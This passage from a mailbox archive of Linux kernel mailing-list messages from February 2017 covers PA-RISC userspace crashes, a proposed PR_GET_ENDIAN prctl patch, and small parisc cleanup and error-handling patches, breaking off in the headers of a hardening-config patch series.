Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cZ3Up-0001Xd-Ha
	for glpp-linux-parisc@m.gmane.org; Wed, 01 Feb 2017 23:35:23 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753821AbdBAWf3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Wed, 1 Feb 2017 17:35:29 -0500
Original-Received: from emh03.mail.saunalahti.fi ([62.142.5.109]:38615 "EHLO
        emh03.mail.saunalahti.fi" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1753224AbdBAWf1 (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Wed, 1 Feb 2017 17:35:27 -0500
X-Greylist: delayed 375 seconds by postgrey-1.27 at vger.kernel.org; Wed, 01 Feb 2017 17:35:27 EST
Original-Received: from raspberrypi-3.musicnaut.iki.fi (85-76-83-213-nat.elisa-mobile.fi [85.76.83.213])
        by emh03.mail.saunalahti.fi (Postfix) with ESMTP id 38F74188834;
        Thu,  2 Feb 2017 00:29:10 +0200 (EET)
Content-Disposition: inline
In-Reply-To: <b24dbc17-2e13-0630-7969-3d12fe8d11bb@gmx.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27242
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27242>

Hi,

On Wed, Feb 01, 2017 at 08:54:57PM +0100, Helge Deller wrote:
> I know we still face random userspace crashes which happen with plain kernel 4.9/stable too.
> Dave is still trying various patches to resolve those crashes.

FWIW, I was able to run full GCC 6 bootstrap (> 20 hours) on C3700/PA8700
without any issues using plain 4.9 kernel.

A.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.api
Subject: Re: [PATCH] prctl: implement PR_GET_ENDIAN for all architectures
Date: Wed, 01 Feb 2017 15:12:12 -0800
Lines: 21
Approved: news@gmane.org
Message-ID: <1485990732.2322.40.camel@HansenPartnership.com>
References: <20170128111310.GA13389@ls3530.fritz.box>
         <20170131162624.5a85ec47c6ee22e5cc03c4eb@linux-foundation.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1485990737 23029 195.159.176.226 (1 Feb 2017 23:12:17 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 1 Feb 2017 23:12:17 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        Michael Kerrisk <mtk.manpages@googlemail.com>,
        linux-api@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>,
        Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Feb 02 00:12:12 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cZ44R-0000Ao-8f
	for glpp-linux-parisc@m.gmane.org; Thu, 02 Feb 2017 00:12:11 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752390AbdBAXMR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Wed, 1 Feb 2017 18:12:17 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:51958 "EHLO
        bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
        by vger.kernel.org with ESMTP id S1752070AbdBAXMQ (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Wed, 1 Feb 2017 18:12:16 -0500
Original-Received: from localhost (localhost [127.0.0.1])
        by bedivere.hansenpartnership.com (Postfix) with ESMTP id 12B308EE2B0;
        Wed,  1 Feb 2017 15:12:15 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
        by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
        with ESMTP id 7KmFoOiBG5ha; Wed,  1 Feb 2017 15:12:14 -0800 (PST)
Original-Received: from [153.66.254.194] (50-47-107-254.evrt.wa.frontiernet.net [50.47.107.254])
        (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
        (No client certificate requested)
        by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 7D1F18EE0CF;
        Wed,  1 Feb 2017 15:12:13 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
        s=20151216; t=1485990733;
        bh=PXg54XQUeZyvEPErF3RV0bPpstBZaMx00TtJgCtBPgk=;
        h=Subject:From:To:Cc:Date:In-Reply-To:References:From;
        b=v7MlHth4PekzZh84S0ZjzoQfoT9Y4fDLauFP5TOf4J5Bt+tXKvF9Chxh+emJb/fgZ
         nqDXAKZjTD2mhQcCQ617toaVCsD+AiHIPe8WtvjliEQowSjgHrDIQVJHFLGbyCHlOB
         syXuFxpNVNIOKn7IBpLXHAsbehm1sM8sx3Mg+Gcc=
In-Reply-To: <20170131162624.5a85ec47c6ee22e5cc03c4eb@linux-foundation.org>
X-Mailer: Evolution 3.16.5 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27243 gmane.linux.kernel:2401663 gmane.linux.kernel.api:22156
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27243>

On Tue, 2017-01-31 at 16:26 -0800, Andrew Morton wrote:
> On Sat, 28 Jan 2017 12:13:10 +0100 Helge Deller <deller@gmx.de>
> wrote:
> 
> > The prctl(PR_GET_ENDIAN) syscall was added to Kernel 2.6.18, but
> > implemented for PowerPC only. This trivial patch adds support for 
> > this syscall for all other architectures.
> 
> Seems reasonable.  I guess.  Why is this needed?

I don't think it is other than for PPC.  If you're not variable endian
(which is only PPC to date), then you should know a priori what endian
you are from the #defines in userspace.

James

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Davidlohr Bueso <dave@stgolabs.net>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH 3/4] parisc: use generic current.h
Date: Wed,  1 Feb 2017 15:47:57 -0800
Lines: 50
Approved: news@gmane.org
Message-ID: <1485992878-4780-4-git-send-email-dave@stgolabs.net>
References: <1485992878-4780-1-git-send-email-dave@stgolabs.net>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1485992967 18067 195.159.176.226 (1 Feb 2017 23:49:27 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 1 Feb 2017 23:49:27 +0000 (UTC)
Cc: dave@stgolabs.net, linux-kernel@vger.kernel.org,
        jejb@parisc-linux.org, linux-parisc@vger.kernel.org,
        Davidlohr Bueso <dbueso@suse.de>
To: akpm@linux-foundation.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Feb 02 00:49:21 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1cZ4eO-0004Rd-Jy
	for glk-linux-kernel-3@m.gmane.org; Thu, 02 Feb 2017 00:49:20 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751349AbdBAXtU (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Wed, 1 Feb 2017 18:49:20 -0500
Original-Received: from smtp2.provo.novell.com ([137.65.250.81]:53165 "EHLO
        smtp2.provo.novell.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751174AbdBAXtP (ORCPT
        <rfc822;groupwise-linux-kernel@vger.kernel.org:0:0>);
        Wed, 1 Feb 2017 18:49:15 -0500
Original-Received: from linux-80c1.suse (prv-ext-foundry1int.gns.novell.com [137.65.251.240])
        by smtp2.provo.novell.com with ESMTP (TLS encrypted); Wed, 01 Feb 2017 16:48:47 -0700
X-Mailer: git-send-email 2.6.6
In-Reply-To: <1485992878-4780-1-git-send-email-dave@stgolabs.net>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2401697 gmane.linux.ports.parisc:27244
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2401697>

Given that the arch does not add its own implementations, simply
use the asm-generic/current.h (generic-y) header instead of
duplicating code.

Cc: jejb@parisc-linux.org
Cc: linux-parisc@vger.kernel.org
Signed-off-by: Davidlohr Bueso <dbueso@suse.de>
---
 arch/parisc/include/asm/Kbuild    |  1 +
 arch/parisc/include/asm/current.h | 15 ---------------
 2 files changed, 1 insertion(+), 15 deletions(-)
 delete mode 100644 arch/parisc/include/asm/current.h

diff --git a/arch/parisc/include/asm/Kbuild b/arch/parisc/include/asm/Kbuild
index 91f53c07f410..a07448dc2b29 100644
--- a/arch/parisc/include/asm/Kbuild
+++ b/arch/parisc/include/asm/Kbuild
@@ -3,6 +3,7 @@ generic-y += auxvec.h
 generic-y += barrier.h
 generic-y += clkdev.h
 generic-y += cputime.h
+generic-y += current.h
 generic-y += device.h
 generic-y += div64.h
 generic-y += emergency-restart.h
diff --git a/arch/parisc/include/asm/current.h b/arch/parisc/include/asm/current.h
deleted file mode 100644
index 0fb9338e3bf2..000000000000
--- a/arch/parisc/include/asm/current.h
+++ /dev/null
@@ -1,15 +0,0 @@
-#ifndef _PARISC_CURRENT_H
-#define _PARISC_CURRENT_H
-
-#include <linux/thread_info.h>
-
-struct task_struct;
-
-static inline struct task_struct * get_current(void)
-{
-	return current_thread_info()->task;
-}
- 
-#define current get_current()
-
-#endif /* !(_PARISC_CURRENT_H) */
-- 
2.6.6



From - Thu Nov 08 21:39:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: crashes in 4.10 because of "parisc: Enable KASLR"
Date: Wed, 1 Feb 2017 19:25:24 -0500
Lines: 23
Approved: news@gmane.org
Message-ID: <8DCE783F-17D4-457E-BA5D-4A8FB42AB61F@bell.net>
References: <alpine.LRH.2.02.1702011234060.25046@file01.intranet.prod.int.rdu2.redhat.com> <b24dbc17-2e13-0630-7969-3d12fe8d11bb@gmx.de> <20170201222910.yiqudzurzwcjqyw7@raspberrypi-3.musicnaut.iki.fi>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: blaine.gmane.org 1485995126 944 195.159.176.226 (2 Feb 2017 00:25:26 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 2 Feb 2017 00:25:26 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
        Mikulas Patocka <mpatocka@redhat.com>,
        linux-parisc@vger.kernel.org
To: Aaro Koskinen <aaro.koskinen@iki.fi>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Feb 02 01:25:21 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cZ5DE-0005VF-GC
	for glpp-linux-parisc@m.gmane.org; Thu, 02 Feb 2017 01:25:20 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751178AbdBBAZ0 convert rfc822-to-8bit (ORCPT
        <rfc822;glpp-linux-parisc@m.gmane.org>);
        Wed, 1 Feb 2017 19:25:26 -0500
Original-Received: from simcoe208srvr.owm.bell.net ([184.150.200.208]:50831 "EHLO
        torfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1751130AbdBBAZZ (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Wed, 1 Feb 2017 19:25:25 -0500
Original-Received: from bell.net torfep02 184.150.200.158 by torfep02.bell.net
          with ESMTP
          id <20170202002524.GNHW19389.torfep02.bell.net@torspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Wed, 1 Feb 2017 19:25:24 -0500
Original-Received: from [192.168.2.10] (really [174.91.91.98]) by torspm02.bell.net
          with ESMTP
          id <20170202002524.UHLM6871.torspm02.bell.net@[192.168.2.10]>;
          Wed, 1 Feb 2017 19:25:24 -0500
In-Reply-To: <20170201222910.yiqudzurzwcjqyw7@raspberrypi-3.musicnaut.iki.fi>
X-Mailer: Apple Mail (2.1085)
X-Cloudmark-Analysis: v=2.2 cv=BLlclBYG c=1 sm=0 tr=0 a=TtiWKAa0zRZPSxrq3ipeaA==:17 a=kj9zAlcOel0A:10 a=n2v9WMKugxEA:10 a=FBHGMhGWAAAA:8 a=luphzoHiq3yZ_a2wPk0A:9 a=CjuIK1q_8ugA:10 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27245
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27245>

On 2017-02-01, at 5:29 PM, Aaro Koskinen wrote:

> On Wed, Feb 01, 2017 at 08:54:57PM +0100, Helge Deller wrote:
>> I know we still face random userspace crashes which happen with plain kernel 4.9/stable too.
>> Dave is still trying various patches to resolve those crashes.
> 
> FWIW, I was able to run full GCC 6 bootstrap (> 20 hours) on C3700/PA8700
> without any issues using plain 4.9 kernel.

As noted in my previous message, the problem appears to only occur on machines that only support
equivalent aliases (PA8800/PA8900).  The C3700 doesn't have the large L2 cache.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:35 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Andy Lutomirski <luto@kernel.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.api
Subject: Re: [PATCH] prctl: implement PR_GET_ENDIAN for all architectures
Date: Wed, 1 Feb 2017 21:08:06 -0800
Lines: 24
Approved: news@gmane.org
Message-ID: <CALCETrWgoaFHP4BBfJ==p+EhO8mKaKkh-MwuT_Z+hkavYib0FQ@mail.gmail.com>
References: <20170128111310.GA13389@ls3530.fritz.box> <20170131162624.5a85ec47c6ee22e5cc03c4eb@linux-foundation.org>
 <1485990732.2322.40.camel@HansenPartnership.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: blaine.gmane.org 1486012111 24055 195.159.176.226 (2 Feb 2017 05:08:31 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 2 Feb 2017 05:08:31 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
        Helge Deller <deller@gmx.de>,
        "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
        linux-parisc@vger.kernel.org,
        Michael Kerrisk <mtk.manpages@googlemail.com>,
        Linux API <linux-api@vger.kernel.org>
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Feb 02 06:08:26 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cZ9dB-0005CA-Sb
	for glpp-linux-parisc@m.gmane.org; Thu, 02 Feb 2017 06:08:26 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751026AbdBBFIb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Thu, 2 Feb 2017 00:08:31 -0500
Original-Received: from mail.kernel.org ([198.145.29.136]:35526 "EHLO mail.kernel.org"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1750937AbdBBFIb (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Thu, 2 Feb 2017 00:08:31 -0500
Original-Received: from mail.kernel.org (localhost [127.0.0.1])
        by mail.kernel.org (Postfix) with ESMTP id 9A8F220361
        for <linux-parisc@vger.kernel.org>; Thu,  2 Feb 2017 05:08:29 +0000 (UTC)
Original-Received: from mail-ua0-f173.google.com (mail-ua0-f173.google.com [209.85.217.173])
        (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
        (No client certificate requested)
        by mail.kernel.org (Postfix) with ESMTPSA id CA2A8202F8
        for <linux-parisc@vger.kernel.org>; Thu,  2 Feb 2017 05:08:27 +0000 (UTC)
Original-Received: by mail-ua0-f173.google.com with SMTP id 35so3798353uak.1
        for <linux-parisc@vger.kernel.org>; Wed, 01 Feb 2017 21:08:27 -0800 (PST)
X-Gm-Message-State: AIkVDXLILc5Nnt8W02OoQpjRUyfmQw23P3xB8kZrPnNH+R/uyZpKC7P+krJQIP65j7k9YtONW6SSnnKNbZmFXUAT
X-Received: by 10.159.38.73 with SMTP id 67mr2711490uag.155.1486012107070;
 Wed, 01 Feb 2017 21:08:27 -0800 (PST)
Original-Received: by 10.103.73.9 with HTTP; Wed, 1 Feb 2017 21:08:06 -0800 (PST)
In-Reply-To: <1485990732.2322.40.camel@HansenPartnership.com>
X-Gmail-Original-Message-ID: <CALCETrWgoaFHP4BBfJ==p+EhO8mKaKkh-MwuT_Z+hkavYib0FQ@mail.gmail.com>
X-Virus-Scanned: ClamAV using ClamSMTP
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27246 gmane.linux.kernel:2401772 gmane.linux.kernel.api:22157
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27246>

On Wed, Feb 1, 2017 at 3:12 PM, James Bottomley
<James.Bottomley@hansenpartnership.com> wrote:
> On Tue, 2017-01-31 at 16:26 -0800, Andrew Morton wrote:
>> On Sat, 28 Jan 2017 12:13:10 +0100 Helge Deller <deller@gmx.de>
>> wrote:
>>
>> > The prctl(PR_GET_ENDIAN) syscall was added to Kernel 2.6.18, but
>> > implemented for PowerPC only. This trivial patch adds support for
>> > this syscall for all other architectures.
>>
>> Seems reasonable.  I guess.  Why is this needed?
>
> I don't think it is other than for PPC.  If you're not variable endian
> (which is only PPC to date), then you should know a priori what endian
> you are from the #defines in userspace.

I find it vaguely odd even on PPC.  Surely you can tell what your
endianness is directly.  (An API to query the endianness of another
task would be useful, though.)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arvind Yadav <arvind.yadav.cs@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH] parisc: ccio-dma: Handle return NULL error from ioremap_nocache
Date: Thu,  2 Feb 2017 18:52:34 +0530
Lines: 39
Approved: news@gmane.org
Message-ID: <1486041754-12996-1-git-send-email-arvind.yadav.cs@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1486041821 20917 195.159.176.226 (2 Feb 2017 13:23:41 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 2 Feb 2017 13:23:41 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: deller@gmx.de
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Feb 02 14:23:37 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1cZHMO-0005FG-OT
	for glk-linux-kernel-3@m.gmane.org; Thu, 02 Feb 2017 14:23:37 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751359AbdBBNXd (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Thu, 2 Feb 2017 08:23:33 -0500
Original-Received: from mail-io0-f195.google.com ([209.85.223.195]:36743 "EHLO
        mail-io0-f195.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1750873AbdBBNXb (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 2 Feb 2017 08:23:31 -0500
Original-Received: by mail-io0-f195.google.com with SMTP id q20so24079691ioi.3;
        Thu, 02 Feb 2017 05:23:30 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id;
        bh=KGtK8TNzYW+G6Xt20g7ZKaUOmtoSyvrlMlsE/hnh5dM=;
        b=gTY9hbDrRD0oFapBe0TFP/0vcb+1/m3dQpZPF6LwV7xMhuUivT81zftzfM+GKQCiVk
         ETPOVsQ6Jjo65SzonpQlIhM21egncdOCKRIlgHWQy8fad4HFgkPL8M3QyxhCRmVqMaYL
         tNb3Ge3vwabxJvqYYjWUpuPN6+t5VVg0dlnKh56/7IT9thIFpXxBNgMtYWcQ92LhJyvg
         nkK+H1LjeDKwoJ37pv5UR/IOGT0O1mvS1WffwKyFXbjDC+0LycLGbeEPa2JJqhIubwUb
         KaBoBbC59oZwIhAhPtqv06MpYNwmeaROQod1jmxQBAyHi2oxQhRNpEJxXRREL4A8mXvN
         ZZSQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id;
        bh=KGtK8TNzYW+G6Xt20g7ZKaUOmtoSyvrlMlsE/hnh5dM=;
        b=Pfyy/QwqQauU0pYT59FfGSRjFHn/rXZW1qPNE4Fr5/zHMViolmiHcVnCGvcf5C6DnR
         2AwtctEFMJWK9Z6x1tL/GLLdzXsCAYs3W163ElI7m4OSF0sovrWxrd1FrOMs0BWEcHFw
         oqywHD7lAsZmWD2vF8PmuFMQ8AwWqbe0OdYp/hdxX1mz2ZrYLygbIDG3SYn+lsQ1MK8Q
         1oU7cjziDUqzfCmBA59+5LbOA3vineNJL7/YLqwk7IShaKb1OetcirSUhC2bROxoSsSC
         Rgd7LWbLKg4DYX21kWp1RQ3/0sj4f5GkPQRl6eGUAp6EhczFIl1J67bq3TlxpmXf2FEV
         YWLg==
X-Gm-Message-State: AIkVDXJczXRhbtMPrjEAlBuFRQ2LkrOIFMB3De4uGekSyM9Xhm/f0dzExky2x+JnMi8Znw==
X-Received: by 10.107.11.27 with SMTP id v27mr6245734ioi.145.1486041810128;
        Thu, 02 Feb 2017 05:23:30 -0800 (PST)
Original-Received: from symbol-HP-Z420-Workstation.zebra.lan ([223.31.70.102])
        by smtp.googlemail.com with ESMTPSA id k16sm875196itk.2.2017.02.02.05.23.27
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Thu, 02 Feb 2017 05:23:29 -0800 (PST)
X-Mailer: git-send-email 1.9.1
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2401991 gmane.linux.ports.parisc:27247
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2401991>

Here, If ioremap_nocache will fail. It will return NULL.
Kernel can run into a NULL-pointer dereference.
This error check will avoid NULL pointer dereference.

If kzalloc will fail return -ENOMEM instead of '1'.

Signed-off-by: Arvind Yadav <arvind.yadav.cs@gmail.com>
---
 drivers/parisc/ccio-dma.c | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/drivers/parisc/ccio-dma.c b/drivers/parisc/ccio-dma.c
index 553ef8a..b0558e2 100644
--- a/drivers/parisc/ccio-dma.c
+++ b/drivers/parisc/ccio-dma.c
@@ -1539,7 +1539,7 @@ static int __init ccio_probe(struct parisc_device *dev)
 	ioc = kzalloc(sizeof(struct ioc), GFP_KERNEL);
 	if (ioc == NULL) {
 		printk(KERN_ERR MODULE_NAME ": memory allocation failure\n");
-		return 1;
+		return -ENOMEM;
 	}
 
 	ioc->name = dev->id.hversion == U2_IOA_RUNWAY ? "U2" : "UTurn";
@@ -1554,6 +1554,10 @@ static int __init ccio_probe(struct parisc_device *dev)
 
 	ioc->hw_path = dev->hw_path;
 	ioc->ioc_regs = ioremap_nocache(dev->hpa.start, 4096);
+	if (!ioc->ioc_regs) {
+		kfree(ioc);
+		return -ENOMEM;
+	}
 	ccio_ioc_init(ioc);
 	ccio_init_resources(ioc);
 	hppa_dma_ops = &ccio_ops;
-- 
1.9.1



From - Thu Nov 08 21:39:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Laura Abbott <labbott@redhat.com>
Newsgroups: gmane.linux.power-management.general,gmane.linux.documentation,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.hardened.devel
Subject: [PATCHv2 0/2] Hardening configs refactor/rename
Date: Fri,  3 Feb 2017 09:52:20 -0800
Lines: 66
Approved: news@gmane.org
Message-ID: <1486144343-24998-1-git-send-email-labbott@redhat.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1486144360 30904 195.159.176.226 (3 Feb 2017 17:52:40 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 3 Feb 2017 17:52:40 +0000 (UTC)
Cc: Laura Abbott <labbott@redhat.com>,
        Jason Wessel <jason.wessel@windriver.com>,
        Jonathan Corbet <corbet@lwn.net>,
        Russell King <linux@armlinux.org.uk>,
        Catalin Marinas <catalin.marinas@arm.com>,
        Will Deacon <will.deacon@arm.com>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Thomas Gleixner <tglx@linutronix.de>,
        Ingo Molnar <mingo@redhat.com>,
        "H. Peter Anvin" <hpa@zytor.com>, x86@kernel.org,
        Rob Herring <robh@kernel.org>,
        "Rafael J. Wysocki" <rjw@rjwysocki.net>,
        Len Brown <len.brown@intel.com>, Pavel Machek <pavel@ucw.cz>,
        Mark Rutland <mark.rutland@arm.com>,
        Jessica Yu <jeyu@redhat.com>, linux-doc@vger.kernel.org,
        linux-ker
To: Kees Cook <keescook@chromium.org>
Original-X-From: linux-pm-owner@vger.kernel.org Fri Feb 03 18:52:34 2017
Return-path: <linux-pm-owner@vger.kernel.org>
Envelope-to: gll-linux-pm2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-pm-owner@vger.kernel.org>)
	id 1cZi2D-0007if-SF
	for gll-linux-pm2@m.gmane.org; Fri, 03 Feb 2017 18:52:34 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751218AbdBCRwh (ORCPT <rfc822;gll-linux-pm2@m.gmane.org>);
        Fri, 3 Feb 2017 12:52:37 -0500
Original-Received: from mail-qt0-f174.google.com ([209.85.216.174]:33726 "EHLO
        mail-qt0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751201AbdBCRwg (ORCPT
